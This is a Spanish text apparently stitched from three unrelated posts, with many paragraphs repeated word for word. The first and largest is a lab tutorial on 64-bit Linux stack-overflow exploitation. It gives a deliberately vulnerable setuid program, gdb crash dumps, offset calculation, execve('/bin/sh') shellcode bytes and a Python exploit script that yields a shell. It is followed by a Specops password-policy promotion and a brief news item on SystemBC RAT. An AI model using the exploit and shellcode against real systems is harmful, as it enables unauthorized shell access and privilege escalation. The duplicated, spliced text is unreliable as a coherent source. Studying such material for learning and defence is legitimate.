 Voy a retomar los ejercicios de exploiting en Linux, esta vez en arquitectura de 64 bits. Básicamente se trata de lo mismo que en 32 bits pero con unos "pequeños" cambios, principalmente:
Voy a retomar los ejercicios de exploiting en Linux, esta vez en arquitectura de 64 bits. Básicamente se trata de lo mismo que en 32 bits pero con unos "pequeños" cambios, principalmente:
  - Los registros de propósito general se han ampliado a 64 bits. Así que ahora tenemos RAX, RBX, RCX, RDX, RSI y RDI.
- El puntero de instrucción (instruction pointer), el puntero de base (base pointer) y el puntero de pila (stack pointer) también se han ampliado a 64 bits como RIP, RBP y RSP respectivamente.
- Se han proporcionado registros adicionales: R8 a R15.
- Los punteros tienen un ancho de 8 bytes.
- Push/pop en la pila tienen 8 bytes.
- El tamaño máximo de dirección canonical/userspace es de 48bits, los menos significativos: 0x00007FFFFFFFFFFF.
- Los parámetros de las funciones se pasan a través de registros.
Dicho ésto, vamos a empezar con el clásico smashing stack explotando el binario a partir del siguiente código:
#include <stdio.h>
#include <unistd.h>
int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nHas pasado %d bytes. buf es %s\n", r, buf);
    puts("No shell!");
    return 0;
}
int main(int argc, char *argv[]) {
    vuln();
    return 0;
}$ gcc -fno-stack-protector -z execstack ejercicio1x64.c -o ejercicio1x64$ sudo chown root ejercicio1x64
$ sudo chmod 4755 ejercicio1x64echo 0 > /proc/sys/kernel/randomize_va_space $ ./ejercicio1x64 
AAAAAAAAAAAAAAAAAAAAAAAAAAAa
 
Has pasado 29 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAaYa tenemos el binario así que vamos manos a la obra :-P
Claramente hay un desbordamiento de búfer en la función vuln() cuando read() puede copiar hasta 400 bytes en un búfer de 80. Por lo tanto si pasamos 400 bytes deberíamos desbordar el búfer y sobrescribir RIP con nuestro payload.
Para crear rápidamente un fichero con esas 400 "A"s:
$ python3 -c 'print "A"*400' > in.txtgdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt
Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__gi___libc_write>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A' , "\220\001\n")
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd958 ('A' ...)
RIP: 0x555555554717 (:	ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2 
R11: 0x246 
R12: 0x5555555545c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffda50 ('A' , "\001\337\377\377\377\177")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555470c :	call   0x555555554580 
   0x555555554711 :	mov    eax,0x0
   0x555555554716 :	leave  
=> 0x555555554717 :	ret    
   0x555555554718 :	push   rbp
   0x555555554719 :	mov    rbp,rsp
   0x55555555471c :	sub    rsp,0x10
   0x555555554720 :	mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd958 ('A' ...)
0008| 0x7fffffffd960 ('A' ...)
0016| 0x7fffffffd968 ('A' ...)
0024| 0x7fffffffd970 ('A' ...)
0032| 0x7fffffffd978 ('A' ...)
0040| 0x7fffffffd980 ('A' ...)
0048| 0x7fffffffd988 ('A' ...)
0056| 0x7fffffffd990 ('A' ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555554717 in vuln ()                     Ahora vemos que el programa crashea pero no se sobrescribe el RIP con una dirección no válida. De hecho, por el momento no controlamos RIP en absoluto. Recordar que el tamaño máximo de la dirección es 0x00007FFFFFFFFFFF y estamos sobrescribiendo RIP con una dirección no canónica de 0x4141414141414141, lo que hace que el procesador genere una excepción.
Para controlar el RIP debemos hacerlo con 0x0000414141414141, por lo que realmente el objetivo es encontrar el desplazamiento con el que sobrescribir RIP con una dirección canónica.
Podemos usar un patrón cíclico para encontrar este desplazamiento:
gdb-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"gdb-peda$ r < in.txt 
Starting program:  /tmp/ejercicio1x64 < in.txt
Has pasado 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__gi___libc_write>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\220\001\n")
RDI: 0x1 
RBP: 0x416841414c414136 ('6AALAAhA')
RSP: 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
RIP: 0x555555554717 (:	ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2 
R11: 0x246 
R12: 0x5555555545c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffda50 ("A%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\001\337\377\377\377\177")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555470c :	call   0x555555554580 
   0x555555554711 :	mov    eax,0x0
   0x555555554716 :	leave  
=> 0x555555554717 :	ret    
   0x555555554718 :	push   rbp
   0x555555554719 :	mov    rbp,rsp
   0x55555555471c :	sub    rsp,0x10
   0x555555554720 :	mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
0008| 0x7fffffffd960 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...)
0016| 0x7fffffffd968 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0024| 0x7fffffffd970 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0032| 0x7fffffffd978 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0040| 0x7fffffffd980 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
0048| 0x7fffffffd988 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...)
0056| 0x7fffffffd990 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000555555554717 in vuln ()          Como veis se puede observar el patrón en el stack.
Nos centramos en el contenido del stack pointer:
gdb-peda$ x/wx $rsp
0x7fffffffd958:	0x41413741gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104python3 -c 'from struct import pack;print("A"*104 + str(pack("<Q", 0x424242424242), "utf-8") + "C"*290)' > in.txt gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt
Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__gi___libc_write>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A' , "\220\001\n")
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd960 ('C' ...)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2 
R11: 0x246 
R12: 0x5555555545c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffda50 ('C' , "\001\337\377\377\377\177")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd960 ('C' ...)
0008| 0x7fffffffd968 ('C' ...)
0016| 0x7fffffffd970 ('C' ...)
0024| 0x7fffffffd978 ('C' ...)
0032| 0x7fffffffd980 ('C' ...)
0040| 0x7fffffffd988 ('C' ...)
0048| 0x7fffffffd990 ('C' ...)
0056| 0x7fffffffd998 ('C' ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()           Y voilà! ya tenemos controlado el RIP.
Dado que este programa está compilado sin NX o stack canaries, podemos escribir nuestro código de shell directamente en la pila y volver a él.
Usaremos mismo este shellcode de 24 bytes para execve("/bin/sh"): https://www.exploit-db.com/exploits/42179.
Para ello almacenamos el shellcode en la pila a través de una variable de entorno:
$ export SC=$(python -c 'print "\x90"*10000 + "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"')Como véis hemos metido unos NOPs al principio porque gdb mete cierta "basura" en memoria y desplaza el stack.
A continuación encontramos su dirección usando getenvaddr:
$  ./getenvaddr SC ejercicio1x64
SC will be at 0x7fffffffc445#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*104
buf += pack("<Q", 0x7fffffffc445)
f = open("in.txt", "w")
f.write(buf)
$ (cat in.txt ; cat) |  ./ejercicio1x64 
Has pasado 112 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
No shell!
whoami
vis0r
Como véis ya tenemos shell pero sin root... recordar que al iniciar el programa con suid usando gdb no se otorgarán privilegios elevados por lo que habría que lanzar el exploit fuera del debugger. En próximas entradas veremos como usar pwntools y ejercicios poco a poco más complicados.
Fuentes:
- https://cd6629.gitbook.io/oscp-notes/buffer-overflow-wlk
- https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/ 
- https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558
- https://www.mathyvanhoef.com/2012/11/common-pitfalls-when-writing-exploits.html












 Una de las muchas características de una política de contraseñas de Active Directory es la antigüedad máxima de la contraseña . Los entornos tradicionales de Active Directory han utilizado durante mucho tiempo el envejecimiento de las contraseñas como un medio para reforzar la seguridad de las contraseñas. La antigüedad de la contraseña nativa en la Política de contraseñas de Active Directory predeterminada es relativamente limitada en los parámetros de configuración.
Una de las muchas características de una política de contraseñas de Active Directory es la antigüedad máxima de la contraseña . Los entornos tradicionales de Active Directory han utilizado durante mucho tiempo el envejecimiento de las contraseñas como un medio para reforzar la seguridad de las contraseñas. La antigüedad de la contraseña nativa en la Política de contraseñas de Active Directory predeterminada es relativamente limitada en los parámetros de configuración. Con la configuración de política predeterminada, realmente puede activar o desactivar la política y luego establecer el número de días antes de que expire la contraseña de usuario. ¿Qué pasaría si tuviera más opciones para controlar la antigüedad máxima de la contraseña y establecer diferentes valores según la complejidad de la contraseña?
Con la configuración de política predeterminada, realmente puede activar o desactivar la política y luego establecer el número de días antes de que expire la contraseña de usuario. ¿Qué pasaría si tuviera más opciones para controlar la antigüedad máxima de la contraseña y establecer diferentes valores según la complejidad de la contraseña? Specops permite notificar fácilmente a los usuarios finales cuando su contraseña está a punto de caducar. Informará a los usuarios finales al iniciar sesión o mediante el envío de una notificación por correo electrónico. Puede configurar los días antes del valor de vencimiento para cada una de estas configuraciones.
Specops permite notificar fácilmente a los usuarios finales cuando su contraseña está a punto de caducar. Informará a los usuarios finales al iniciar sesión o mediante el envío de una notificación por correo electrónico. Puede configurar los días antes del valor de vencimiento para cada una de estas configuraciones.
 Las organizaciones definen las configuraciones de longitud de contraseña mínima y máxima en el área Reglas de contraseña de la configuración de la Política de contraseña de Specops. Si cambia la configuración de longitud mínima y máxima de la contraseña, los valores de longitud de la contraseña en cada nivel de la caducidad de la contraseña basada en la longitud también cambiarán.
Las organizaciones definen las configuraciones de longitud de contraseña mínima y máxima en el área Reglas de contraseña de la configuración de la Política de contraseña de Specops. Si cambia la configuración de longitud mínima y máxima de la contraseña, los valores de longitud de la contraseña en cada nivel de la caducidad de la contraseña basada en la longitud también cambiarán.
 En combinación con otras características de la política de contraseñas de Specops, como la protección con contraseña violada , la caducidad de la contraseña basada en la longitud refuerza las políticas de contraseñas empresariales para los trabajadores locales y remotos.
En combinación con otras características de la política de contraseñas de Specops, como la protección con contraseña violada , la caducidad de la contraseña basada en la longitud refuerza las políticas de contraseñas empresariales para los trabajadores locales y remotos.


 Los ciberdelincuentes subcontratan cada vez más la tarea de implementar ransomware a afiliados que utilizan malware básico y herramientas de ataque, según una nueva investigación.
Los ciberdelincuentes subcontratan cada vez más la tarea de implementar ransomware a afiliados que utilizan malware básico y herramientas de ataque, según una nueva investigación. Desde entonces, SystemBC RAT ha ampliado la amplitud de su conjunto de herramientas con nuevas características que le permiten usar una conexión Tor para cifrar y ocultar el destino de las comunicaciones C2, proporcionando así a los atacantes una puerta trasera persistente para lanzar otros ataques.
Desde entonces, SystemBC RAT ha ampliado la amplitud de su conjunto de herramientas con nuevas características que le permiten usar una conexión Tor para cifrar y ocultar el destino de las comunicaciones C2, proporcionando así a los atacantes una puerta trasera persistente para lanzar otros ataques.